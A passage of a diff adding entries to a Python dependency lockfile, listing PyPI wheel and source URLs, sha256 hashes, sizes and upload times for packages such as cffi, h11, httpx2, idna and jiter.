+ { url = "https://files.pythonhosted.org/packages/a4/18/fa7f1f6857d5eb88a4ca99ffcbfb7c387a287ccc154c64a73e86314745d7/cffi-2.1.1-cp315-cp315-musllinux_1_2_aarch64.whl", hash = "sha256:42a494cee34437f05546455144f2b5d9ac09b1face62bcfce597d2e521066688", size = 225134, upload-time = "2026-08-03T21:20:58.675Z" },
+ { url = "https://files.pythonhosted.org/packages/e0/9f/e8e3dfa04a1b4c241f8c91faacad872b4d4efd051d49764ad4e2fd4b9fea/cffi-2.1.1-cp315-cp315-musllinux_1_2_x86_64.whl", hash = "sha256:cc572dace3f60ef98d7b12ff411d20f5362feb31a0439eab0085bbfd349982d7", size = 223197, upload-time = "2026-08-03T21:20:59.968Z" },
+ { url = "https://files.pythonhosted.org/packages/f8/7e/8debeb04f1ab9fe2a6963964cd6f1aaf7192627b83926586a6a4e089c9fa/cffi-2.1.1-cp315-cp315-win32.whl", hash = "sha256:4f42141fc14250de6dde5ee7ea4432be017252d91f19c5ad043c084cea629cac", size = 177683, upload-time = "2026-08-03T21:21:14.901Z" },
+ { url = "https://files.pythonhosted.org/packages/e0/31/5158704cc474ab65c1647932e88be78dc0873f47130e253be38bcaf13d01/cffi-2.1.1-cp315-cp315-win_amd64.whl", hash = "sha256:e6e8cff14d6fb0be70a09c0bdc58096f501952d04624ebf867e0e56da2df8960", size = 187897, upload-time = "2026-08-03T21:21:16.108Z" },
+ { url = "https://files.pythonhosted.org/packages/cc/4b/b3a2da8570c704ffc0f9762cdc3ec0f02c8573798e0b5cf7f11c82bbb70f/cffi-2.1.1-cp315-cp315-win_arm64.whl", hash = "sha256:27350daa11d4f10c540e6e89dada4c54feb7256ad03e9a4dc075ebad7ba360d1", size = 182935, upload-time = "2026-08-03T21:21:17.271Z" },
+ { url = "https://files.pythonhosted.org/packages/d0/ef/5443574510a1207e6f6bc38ba6e1f1de36cb48fef07b2728bb896a21f430/cffi-2.1.1-cp315-cp315t-macosx_10_15_x86_64.whl", hash = "sha256:c26608d2222fb1e94487e4a387d85f13eb55d5ed725cb25a0c589ac4ee60e7bc", size = 188464, upload-time = "2026-08-03T21:21:01.163Z" },
+ { url = "https://files.pythonhosted.org/packages/7e/ae/a56fa8c4686ad50e148fcbc8d3ae0d03915ff5c30d795058988c24118cef/cffi-2.1.1-cp315-cp315t-macosx_11_0_arm64.whl", hash = "sha256:4be96343e422f2dfcd12ab5c9f5aebe03f82f737c6bffeca6830b3875cb44aab", size = 188262, upload-time = "2026-08-03T21:21:02.382Z" },
+ { url = "https://files.pythonhosted.org/packages/53/b2/6187f46f2912276a3ae284076109cc5c8680482f11f766ccf26db4a86427/cffi-2.1.1-cp315-cp315t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:937c0052c05a31ca1daf18de3158eed4dbfcb9cc107adbea227728d647be701e", size = 223779, upload-time = "2026-08-03T21:21:03.553Z" },
+ { url = "https://files.pythonhosted.org/packages/8a/f6/c3ad28bd19f77047a03084424fbd4cbe997303267c14423737324be0385d/cffi-2.1.1-cp315-cp315t-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:df423d40ee8654634421812bc3b196da3f9bd7d32929da813f8394c4348a5358", size = 211520, upload-time = "2026-08-03T21:21:04.863Z" },
+ { url = "https://files.pythonhosted.org/packages/a0/cd/ccac9013a5bd9fd764de118674ab9c805b5ca10c19270d90ee273f8b2240/cffi-2.1.1-cp315-cp315t-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:a730a083190634c65cca36ba5f489531576ebd79bcd5c8e172130f6453127231", size = 210673, upload-time = "2026-08-03T21:21:06.223Z" },
+ { url = "https://files.pythonhosted.org/packages/52/86/2976131c639aead931c5bee5aba67e4b09fbeb8018b6f282f70803f923a7/cffi-2.1.1-cp315-cp315t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:363e05fa78e15116c3c32c210ee36884fd6b9afa6d440e47112c3bd511d64cb6", size = 223835, upload-time = "2026-08-03T21:21:07.539Z" },
+ { url = "https://files.pythonhosted.org/packages/ac/0c/33a7aeab2f9c76918c52e084beb39c570db3588133412929e8ec06fab90b/cffi-2.1.1-cp315-cp315t-musllinux_1_2_aarch64.whl", hash = "sha256:770de9db11e84213beec501cfcaa013b019820ca881e03344dea5844f7876d94", size = 226705, upload-time = "2026-08-03T21:21:08.774Z" },
+ { url = "https://files.pythonhosted.org/packages/e3/26/2cde30fdde421130bfc18f70395731a6e6b2053c6a1978a5258ff04e72fa/cffi-2.1.1-cp315-cp315t-musllinux_1_2_x86_64.whl", hash = "sha256:7da0c5eff80f0197f3b3d1232ec5a682a9325f4ae9016a78f5f5ca35f9ced1f5", size = 225539, upload-time = "2026-08-03T21:21:09.911Z" },
+ { url = "https://files.pythonhosted.org/packages/6d/cd/a361394c94b2129d604bb846f624a8e88255a3ee33129c434a00d715e64f/cffi-2.1.1-cp315-cp315t-win32.whl", hash = "sha256:06c72bb76605a4b0cd0aad6930b69d4baf7dd5d806cfc409b824191099700e66", size = 182707, upload-time = "2026-08-03T21:21:11.226Z" },
+ { url = "https://files.pythonhosted.org/packages/9b/b5/ba2b299993c26577d529b6ae29841f9e15b9fcf004d65f423f4fcf94ade9/cffi-2.1.1-cp315-cp315t-win_amd64.whl", hash = "sha256:d9c275eaacd24aa73f94ffd6de08fc3f932424d8b6c376f4bed7cde376fe7bc3", size = 193772, upload-time = "2026-08-03T21:21:12.39Z" },
+ { url = "https://files.pythonhosted.org/packages/aa/29/35e016098c814cd93de9cd320c66b5bfba14dc6ecedd3cb518fa7c408c69/cffi-2.1.1-cp315-cp315t-win_arm64.whl", hash = "sha256:d18e5ac0f2f03f4f518d3e23db0f0cad7faa1da8620e9c09461d443bbf6e6692", size = 186360, upload-time = "2026-08-03T21:21:13.636Z" },
+]
+
+[[package]]
+name = "exceptiongroup"
+version = "1.3.1"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "typing-extensions" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/50/79/66800aadf48771f6b62f7eb014e352e5d06856655206165d775e675a02c9/exceptiongroup-1.3.1.tar.gz", hash = "sha256:8b412432c6055b0b7d14c310000ae93352ed6754f70fa8f7c34141f91c4e3219", size = 30371, upload-time = "2025-11-21T23:01:54.787Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/8a/0e/97c33bf5009bdbac74fd2beace167cab3f978feb69cc36f1ef79360d6c4e/exceptiongroup-1.3.1-py3-none-any.whl", hash = "sha256:a7a39a3bd276781e98394987d3a5701d0c4edffb633bb7a5144577f82c773598", size = 16740, upload-time = "2025-11-21T23:01:53.443Z" },
+]
+
+[[package]]
+name = "h11"
+version = "0.16.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/01/ee/02a2c011bdab74c6fb3c75474d40b3052059d95df7e73351460c8588d963/h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1", size = 101250, upload-time = "2025-04-24T03:35:25.427Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86", size = 37515, upload-time = "2025-04-24T03:35:24.344Z" },
+]
+
+[[package]]
+name = "httpcore2"
+version = "2.10.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "h11" },
+ { name = "truststore" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/a9/83/a896fc59940fc5a6e2aff3a4be1d92fa890112936803b331cae75a993c34/httpcore2-2.10.0.tar.gz", hash = "sha256:13c0cc3d1919d4f28457f60cd2c2abe04113a8af184ccf1142811beba936f9dc", size = 67427, upload-time = "2026-08-09T09:11:32.123Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/e5/4f/d149104195a35e2853a2fc203a8e3477747e58c80e17dda686dace174383/httpcore2-2.10.0-py3-none-any.whl", hash = "sha256:7df06cfb34070cae4f7c89be69dc1095eca138e9704ceffb98d25c1912ab6f01", size = 83000, upload-time = "2026-08-09T09:11:29.555Z" },
+]
+
+[[package]]
+name = "httpx2"
+version = "2.10.0"
+source = { registry = "https://pypi.org/simple" }
+dependencies = [
+ { name = "anyio", marker = "sys_platform != 'emscripten'" },
+ { name = "httpcore2", marker = "sys_platform != 'emscripten'" },
+ { name = "httpx2-jsfetch", marker = "python_full_version >= '3.12' and sys_platform == 'emscripten'" },
+ { name = "idna" },
+ { name = "truststore", marker = "sys_platform != 'emscripten'" },
+ { name = "typing-extensions", marker = "python_full_version < '3.13'" },
+]
+sdist = { url = "https://files.pythonhosted.org/packages/bd/3d/f9a8c07a3884f3e5b26205e8436a18b3af61c5d53192c3bea235574dbbec/httpx2-2.10.0.tar.gz", hash = "sha256:8741d7329fe2c7885fc9ceb61c8217acfb87a85f75723714b89ebf7ad7196338", size = 98749, upload-time = "2026-08-09T09:11:33.24Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/b9/6d/a637d52449d98a6892d9a4dc0262587afdb6a66f201871842dce5a97b1c1/httpx2-2.10.0-py3-none-any.whl", hash = "sha256:5e3194a432701e1cc6f69a8b1b2fa199ef907013fede8d9a09a2c5b7b8141a18", size = 94355, upload-time = "2026-08-09T09:11:30.882Z" },
+]
+
+[[package]]
+name = "httpx2-jsfetch"
+version = "1.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/cd/c4/0e5636363151a2a1795e0a77617168b9ca438e1748ec05fc9b5687f93d64/httpx2_jsfetch-1.0.tar.gz", hash = "sha256:70a0e3eabfef7cce5ad9c629f7d01ca05e418f586646f4ddf14782e4c1454c60", size = 6872, upload-time = "2026-08-07T00:13:07.492Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/9b/43/832f631d32e4f1211caa2ba368317739fe71f0b8530e4c9d15dc454bac2a/httpx2_jsfetch-1.0-py3-none-any.whl", hash = "sha256:cb916b707601e69a07721aabc8f3f6659be3a6893bc1ff5c6f9e02241df2da32", size = 6382, upload-time = "2026-08-07T00:13:06.567Z" },
+]
+
+[[package]]
+name = "idna"
+version = "3.18"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/cd/63/9496c57188a2ee585e0f1db071d75089a11e98aa86eb99d9d7618fc1edce/idna-3.18.tar.gz", hash = "sha256:ffb385a7e039654cef1ab9ef32c6fafe283c0c0467bba1d9029738ce4a14a848", size = 196711, upload-time = "2026-06-02T14:34:07.794Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/1e/5e/d4e9f1a599fb8e573b7b87160658329fbf28d19eac2718f51fc3def3aa5a/idna-3.18-py3-none-any.whl", hash = "sha256:7f952cbe720b688055e3f87de14f5c3e5fdaa8bc3928985c4077ca689de849a2", size = 65455, upload-time = "2026-06-02T14:34:06.319Z" },
+]
+
+[[package]]
+name = "jiter"
+version = "0.16.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/1d/1f/10936e16d8860c70698a1aa939a46aa0224813b782bce4e000e637da0b2d/jiter-0.16.0.tar.gz", hash = "sha256:7b24c3492c5f4f84a37946ad9cf504910cf6a782d6a4e0689b6673c5894b4a1c", size = 176431, upload-time = "2026-06-29T13:05:13.657Z" }
+wheels = [
+ { url = "https://files.pythonhosted.org/packages/76/d8/b959609e44012a42b1f3e5ba98ea3b33c7e41e6d4b77cd8f00fd19b1d3ad/jiter-0.16.0-cp310-cp310-macosx_10_12_x86_64.whl", hash = "sha256:c5fc4f8def331036a7b8e981b4347ebe409981edbc8308a5ea842b8c3614fa6c", size = 310082, upload-time = "2026-06-29T13:02:31.356Z" },
+ { url = "https://files.pythonhosted.org/packages/c6/3d/4d7f5667ea0e0548534ba880b84bb3d12924fd133aa83ad6c6c80fca3d76/jiter-0.16.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:5a71d0d2014c3275043e1170bf3d4e771493cb0dcf07be54c567155f4d8ee64b", size = 315643, upload-time = "2026-06-29T13:02:33.204Z" },
+ { url = "https://files.pythonhosted.org/packages/9b/83/bed2dcb5c9f3e1ccfcbc67dda48265fe7d5ad0c9cadda5fe95f6e3b87f94/jiter-0.16.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:741eed508c233a76313a1c7b001f8f21b82f14327e9196ae8bd29a2cc164ae84", size = 341363, upload-time = "2026-06-29T13:02:34.853Z" },
+ { url = "https://files.pythonhosted.org/packages/f4/2f/6bb3c3dda668ebc0445689c81a2b0f26a82b10843d67ed9c9b2c3edc177f/jiter-0.16.0-cp310-cp310-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:3fb7bc819187b56dc48aa5c833aaf92257da8e07efdb9306156667bd2eeb491c", size = 365483, upload-time = "2026-06-29T13:02:36.295Z" },
+ { url = "https://files.pythonhosted.org/packages/92/35/8a045ccb39164e70dcdae696413b661771f148b68b12b175c3a04d901937/jiter-0.16.0-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:7c9610fd25ebccb43fca584136f5c2fbb26802447eccd430dfdbab95a0fd5126", size = 461219, upload-time = "2026-06-29T13:02:38.116Z" },
+ { url = "https://files.pythonhosted.org/packages/e7/99/22292dbbf0ed0c610cfe5ddc7f3bd67237a412f121318f865196e62a07bd/jiter-0.16.0-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4a1d68ff7ca1d3b5dee20a97a3decda7d5f15003823bf6d140c81f8561d3bc5c", size = 374905, upload-time = "2026-06-29T13:02:40.357Z" },
+ { url = "https://files.pythonhosted.org/packages/29/ac/2f55ccb1f0eeafa6d89d24caf52f6f0944a59290ee199e9ade62177dca42/jiter-0.16.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fb08c276dd02dac3a284acdd02cacc630d2e3cd6572a4b85519f35cbd133c3de", size = 348320, upload-time = "2026-06-29T13:02:41.923Z" },
+ { url = "https://files.pythonhosted.org/packages/50/e3/7d88b9174c40064fabc07c84a9b62e6b10f5644562ec0e0a29392edbe978/jiter-0.16.0-cp310-cp310-manylinux_2_31_riscv64.whl", hash = "sha256:8fc4d94713c4697347e38faf7d6ef91547c142219bdcfc7220c4870879974244", size = 356519, upload-time = "2026-06-29T13:02:43.436Z" },
+ { url = "https://files.pythonhosted.org/packages/27/57/c4a33aeef513a9d5e26e31534e0bcc752d6ea0e54c94ddb7b68bade669c2/jiter-0.16.0-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:1a0f05e229edb29e68cdd0ccb83cea13b64263416120cf943767a6fd72e6787f", size = 394204, upload-time = "2026-06-29T13:02:44.987Z" },
+ { url = "https://files.pythonhosted.org/packages/9d/70/c6c23e76ebb3766b111bc399437bbc9f870a76e2a92e10b2a5f561d57372/jiter-0.16.0-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:2c842cbf374a8daf50b2c04212995bee34ca2ac2cdc29a901b4cdb072c9c4131", size = 521477, upload-time = "2026-06-29T13:02:46.724Z" },
+ { url = "https://files.pythonhosted.org/packages/2a/d3/0001c8c0c5976af2625bb1cfb1895e8ec693b6589fe4574b8e6fc2c85501/jiter-0.16.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:5ed466aee31294d7cdcd4d37dfe5c42c97bc29d9a5f00eacf24504358309cb9b", size = 552187, upload-time = "2026-06-29T13:02:48.144Z" },
+ { url = "https://files.pythonhosted.org/packages/f6/76/311b718e07e85740e48619c0632b36f7e0b8d113984499e436452ed13a9a/jiter-0.16.0-cp310-cp310-win32.whl", hash = "sha256:b42e9ff5376819c053da25809a8d4b6fa6e473b4856ebe42e298ac958be3d7f9", size = 206513, upload-time = "2026-06-29T13:02:49.515Z" },
+ { url = "https://files.pythonhosted.org/packages/db/7f/ac680eeb0777dc0eb7dc824800ba27880d7f6bc712e362d34ad8ee559f36/jiter-0.16.0-cp310-cp310-win_amd64.whl", hash = "sha256:10438939205546132189c8e74a2d536a707841f3a25cd7c74ee91fe503407a26", size = 199505, upload-time = "2026-06-29T13:02:50.829Z" },
+ { url = "https://files.pythonhosted.org/packages/4e/3f/fae6cc967d120ec89e31c5418a51176d8278b3087fbb384a9176754f353c/jiter-0.16.0-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:67fddeda1688f0cce2d2ae83ccf8a80f79936f2d2997d6cc2261f82fdb54a4d3", size = 309289, upload-time = "2026-06-29T13:02:52.301Z" },
+ { url = "https://files.pythonhosted.org/packages/c8/e3/97c6c3562c077f6247d6e6ce5c82562500b6316c0d928e97e106b7a1321a/jiter-0.16.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:c90c0f63df322be920eda6ce622e3083d8906ba267f8220fe7873213b8b4430e", size = 315181, upload-time = "2026-06-29T13:02:53.964Z" },
+ { url = "https://files.pythonhosted.org/packages/7b/89/d8d073f8aa2667e46c6c0873f86fe4a512bba4293cc730f626a076211a62/jiter-0.16.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:64c0203212098470032aabcde9356fc168f377aade3e43def61dfe17e92f2037", size = 340939, upload-time = "2026-06-29T13:02:55.412Z" },
+ { url = "https://files.pythonhosted.org/packages/87/c9/db4fda3ed73fb864139305e935e5b8b38a5a24692a5a9dd356c22f1b9c8d/jiter-0.16.0-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:12288303c9844e61e1651d02a9a6f6633e47d39f897d6991d1427161ce6b746e", size = 364932, upload-time = "2026-06-29T13:02:57.28Z" },
+ { url = "https://files.pythonhosted.org/packages/a2/74/52b5e86241057f52ddd7c9a580f90effb51f9d06239f6fc612279b91a838/jiter-0.16.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:5cf109d010b4b05a105afb3d43be36a21322d345ad3111e13d15f680afef0e5b", size = 461132, upload-time = "2026-06-29T13:02:58.994Z" },
+ { url = "https://files.pythonhosted.org/packages/a9/87/544a700f7447c1f31c5d7833821a4daa5683165c2d5a094fbf5b5800c3dc/jiter-0.16.0-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:62c1b7fe1f77925acf5af68b6140b8810fa87dfd4dc0a9c8568ec2fa2a10429c", size = 374857, upload-time = "2026-06-29T13:03:00.455Z" },
+ { url = "https://files.pythonhosted.org/packages/40/cd/0fcc3f7d39183674d5bfa9ec640faaeb506c60be7c8f94625dfba366e37c/jiter-0.16.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8597d23c87f59294f83bcb6229b9ed1fccee13dbba967b46930d2f1759466fee", size = 347053, upload-time = "2026-06-29T13:03:02.045Z" },
+ { url = "https://files.pythonhosted.org/packages/5c/ae/c7e64e7932ad597fa395b61440b249ada6366716e25c6e08dd2afbd021e6/jiter-0.16.0-cp311-cp311-manylinux_2_31_riscv64.whl", hash = "sha256:3126a5dbad56401989ac769aca0cb56005bfb3e2366eea0ca99d1a91c3c1ee03", size = 356153, upload-time = "2026-06-29T13:03:03.706Z" },
+ { url = "https://files.pythonhosted.org/packages/d4/1c/1c719044f14da814e1a060191ab19b96f3e99207bc5b4bfc6d6be34b3f80/jiter-0.16.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:c4b4717bdb35ae456f831a6b08d01880fff399887a6bbc526a583a406e484eea", size = 393956, upload-time = "2026-06-29T13:03:05.165Z" },
+ { url = "https://files.pythonhosted.org/packages/3b/dc/7b2f303a2847207e265503853a2d964a55354cffd62a5f2936c155486798/jiter-0.16.0-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:adff21bc78edfe086c15eb495b900306076de378dc2337c132401fc39bd79c91", size = 521081, upload-time = "2026-06-29T13:03:06.886Z" },
+ { url = "https://files.pythonhosted.org/packages/c2/5f/501cf6e1e09caeb420195179ffc6f62aca603f1220ec53fd80d0d70b3e56/jiter-0.16.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:dab907db06fc593645e73109acf4581ba5b548897d28b9348dc41ddc8343b2d3", size = 552085, upload-time = "2026-06-29T13:03:08.339Z" },
+ { url = "https://files.pythonhosted.org/packages/79/54/aa5be86520113b79455c3877f3d1f07a348098df4083ba3688e9537e52dd/jiter-0.16.0-cp311-cp311-win32.whl", hash = "sha256:560b2cf3fb03240cd34f27409a238547488708f05b7c3924f571a60422251ec7", size = 206755, upload-time = "2026-06-29T13:03:09.653Z" },
+ { url = "https://files.pythonhosted.org/packages/64/ec/2feb893eb330bd69b413866f4d5daada33c3962f1c6f270c91ca2d87fdf9/jiter-0.16.0-cp311-cp311-win_amd64.whl", hash = "sha256:e431cfc9caf44c1d5459ff77d4e64cbf85fddb6a35dad836a15c6a9ec23087c1", size = 199155, upload-time = "2026-06-29T13:03:10.979Z" },
+ { url = "https://files.pythonhosted.org/packages/b9/9c/ca040d94415048a3666fc237774df8151c96f8d2b661cbe3b184acc95876/jiter-0.16.0-cp311-cp311-win_arm64.whl", hash = "sha256:2a8e9e39cf083016137aa5cadafe3188adc2ba6ba1fbf1e5d18889ad3e9ad056", size = 194403, upload-time = "2026-06-29T13:03:12.341Z" },
+ { url = "https://files.pythonhosted.org/packages/83/2b/52ace16ed031354f0539749a49e4bf33797d82bea5137910835fa4b09793/jiter-0.16.0-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:67c3bc1760f8c99d805dcab4e644027142a53b1d5d861f18780ebdbd5d40b72a", size = 306943, upload-time = "2026-06-29T13:03:14.035Z" },
+ { url = "https://files.pythonhosted.org/packages/94/2e/34957c2c1b661c252ba9bcc60ae0bddc27e0f7202c6073326a13c5390eec/jiter-0.16.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:5af7780e4a26bd7d0d989592bf9ef12ebf806b74ab709223ecca37c749872ea9", size = 307779, upload-time = "2026-06-29T13:03:15.418Z" },
+ { url = "https://files.pythonhosted.org/packages/88/6c/59bd309cab4460c54cf1079f3eb7fe7af6a4c895c5c957a53378693bad2b/jiter-0.16.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d5bf78d0e05e45cfdd66558893938d59afe3d1b1a824a202039b20e607d25a72", size = 335826, upload-time = "2026-06-29T13:03:17.11Z" },
+ { url = "https://files.pythonhosted.org/packages/3b/8c/f5ef7b65f0df47afa16596969defb281ebb86e96df346d62be6fd853d620/jiter-0.16.0-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f4444a83f946605990c98f625cdd3d2725bfb818158760c5748c653170a20e0e", size = 362573, upload-time = "2026-06-29T13:03:18.781Z" },
+ { url = "https://files.pythonhosted.org/packages/2b/0b/ace4354da061ee38844a0c27dc2c21eecd27aea119e8da324bea987522d0/jiter-0.16.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3a23f0e4f957e1be65752d2dfac9a5a06b1917af8dc85deb639c3b9d02e31290", size = 457979, upload-time = "2026-06-29T13:03:20.293Z" },
+ { url = "https://files.pythonhosted.org/packages/55/40/c0253d3772eb9dcd8e6606ee9b2d53ec8e5b814589c47f140aa585f21eaa/jiter-0.16.0-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c22a488f7b9218e245a0025a9ba6b100e2e54700831cf4cf16833a27fba3ad01", size = 372302, upload-time = "2026-06-29T13:03:21.739Z" },
+ { url = "https://files.pythonhosted.org/packages/a8/d2/4839422241aa12860ce597b20068727094ba0bc480723c74924ca5bad483/jiter-0.16.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:46add52f4ad47a08bfb1219f3e673da972191489a33016edefdb5ea55bfa8c48", size = 343805, upload-time = "2026-06-29T13:03:23.384Z" },
+ { url = "https://files.pythonhosted.org/packages/e2/59/e196888a05befdda7dbe299b722d56f2f6eec65402bc34c0a3306d595feb/jiter-0.16.0-cp312-cp312-manylinux_2_31_riscv64.whl", hash = "sha256:9c8a956fd72c2cf1e730d01ea080341f13aa0a97a4a33b51abebe725b7ae9ca9", size = 351107, upload-time = "2026-06-29T13:03:24.815Z" },
+ { url = "https://files.pythonhosted.org/packages/ec/74/4cd9e0fca65232136400354b630fbfcd2de634e22ccbb96567725981b548/jiter-0.16.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:561926e0573ffe4a32498420a76d64b16c513e1ab413b9d28158a8764ac701e5", size = 388441, upload-time = "2026-06-29T13:03:26.266Z" },
+ { url = "https://files.pythonhosted.org/packages/d9/8c/554691e48bc711299c0a293dd8a6179e24b2d66a54dc295421fcf64569c0/jiter-0.16.0-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:44d019fa8cdaf89bf29c71b39e3712143fdd0ac76725c6ef954f9957a5ea8730", size = 516354, upload-time = "2026-06-29T13:03:28.02Z" },
+ { url = "https://files.pythonhosted.org/packages/a4/cb/01e9d69dc2cc6759d4f91e230b34489c4fdb2518992650633f9e20bece89/jiter-0.16.0-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:0df91907609837f33341b8e6fe73b95991fdaa57caf1a0fbd343dffe826f386f", size = 547880, upload-time = "2026-06-29T13:03:29.534Z" },
+ { url = "https://files.pythonhosted.org/packages/79/70/2953195f1c6ad00f49fa67e13df7e60acb3dd4f387101bc15abccddd905e/jiter-0.16.0-cp312-cp312-win32.whl", hash = "sha256:51d7b836acb0108d7c77df1742332cac2a1fa04a74d6dacec46e7091f0e91274", size = 203473, upload-time = "2026-06-29T13:03:31.025Z" },
+ { url = "https://files.pythonhosted.org/packages/2d/05/2909a8b10699a4d560f8c502b6b2c5f3991b682b1922c1eedda242b225bd/jiter-0.16.0-cp312-cp312-win_amd64.whl", hash = "sha256:1878349266f8ee36ecb1375cc5ba2f115f35fd9f0a1a4119e725e379126647f7", size = 196905, upload-time = "2026-06-29T13:03:32.472Z" },
+ { url = "https://files.pythonhosted.org/packages/e9/a9/6b82bb1c8d7790d602489b967b982a909e5d092875a6c2ade96444c8dfc5/jiter-0.16.0-cp312-cp312-win_arm64.whl", hash = "sha256:2ed5738ae4af18271a51a528b8811b0cbfa4a1858de9d83359e4169855d6a331", size = 190618, upload-time = "2026-06-29T13:03:34.672Z" },
+ { url = "https://files.pythonhosted.org/packages/91/c0/555fc60473d30d66894ba825e63615e3be7524fac23858356afa7a38906c/jiter-0.16.0-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:41977aa5654023948c2dae2a81cbf9c43343954bef1cd59a154dd15a4d84c195", size = 306203, upload-time = "2026-06-29T13:03:36.243Z" },
+ { url = "https://files.pythonhosted.org/packages/d0/2b/c3eaf16f5d7c9bad66ea32f40a95bd169b29a91217fcc7f081375157e99c/jiter-0.16.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:d28bb3c26762358dadf3e5bf0bccd29ae987d65e6988d2e6f49829c76b003c09", size = 306489, upload-time = "2026-06-29T13:03:37.846Z" },
+ { url = "https://files.pythonhosted.org/packages/96/3f/02fdfc6705cad96127d883af5c34e4867f554f29ec7705ec1a46156400a9/jiter-0.16.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0542a7189c26920778658fc8fcf2af8bae05bae9924577f71804acef37996536", size = 335453, upload-time = "2026-06-29T13:03:39.221Z" },
+ { url = "https://files.pythonhosted.org/packages/b2/a6/e4bda5920d4b0d7c5dfb7174ce4a6b2e4d3e11c9162c452ef0eab4cdbdbd/jiter-0.16.0-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:8fb8de1e23a0cb2a7f53c335049c7b72b6db41aa6227cdcc0972a1de5cb39450", size = 361625, upload-time = "2026-06-29T13:03:40.597Z" },
+ { url = "https://files.pythonhosted.org/packages/b7/97/4e6b59b2c6e55cbb3e183595f81ad65dcfb21c915fee5e19e335df21bc55/jiter-0.16.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b72d0b2990ca754a9102779ac98d8597b7cb31678958562214a007f909eab78e", size = 456958, upload-time = "2026-06-29T13:03:42.074Z" },
+ { url = "https://files.pythonhosted.org/packages/15/e0/97e9557686d2f94f4b93786eccb7eed28e9228ad132ea8237f44727314a7/jiter-0.16.0-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d5f91b1c27fc22a57993d5a5cb8a627cb8ed4b10502716fac1ffbfe1d19d84e8", size = 372017, upload-time = "2026-06-29T13:03:43.658Z" },
+ { url = "https://files.pythonhosted.org/packages/0f/94/db768b6938e0df35c86beeba3dfbbb025c9ee5c19e1aa271f2396e50864d/jiter-0.16.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c682bea068a90b764577bdb78a60a4c1d1606daf9cd4c893832a37c7cc9d9026", size = 343320, upload-time = "2026-06-29T13:03:45.226Z" },
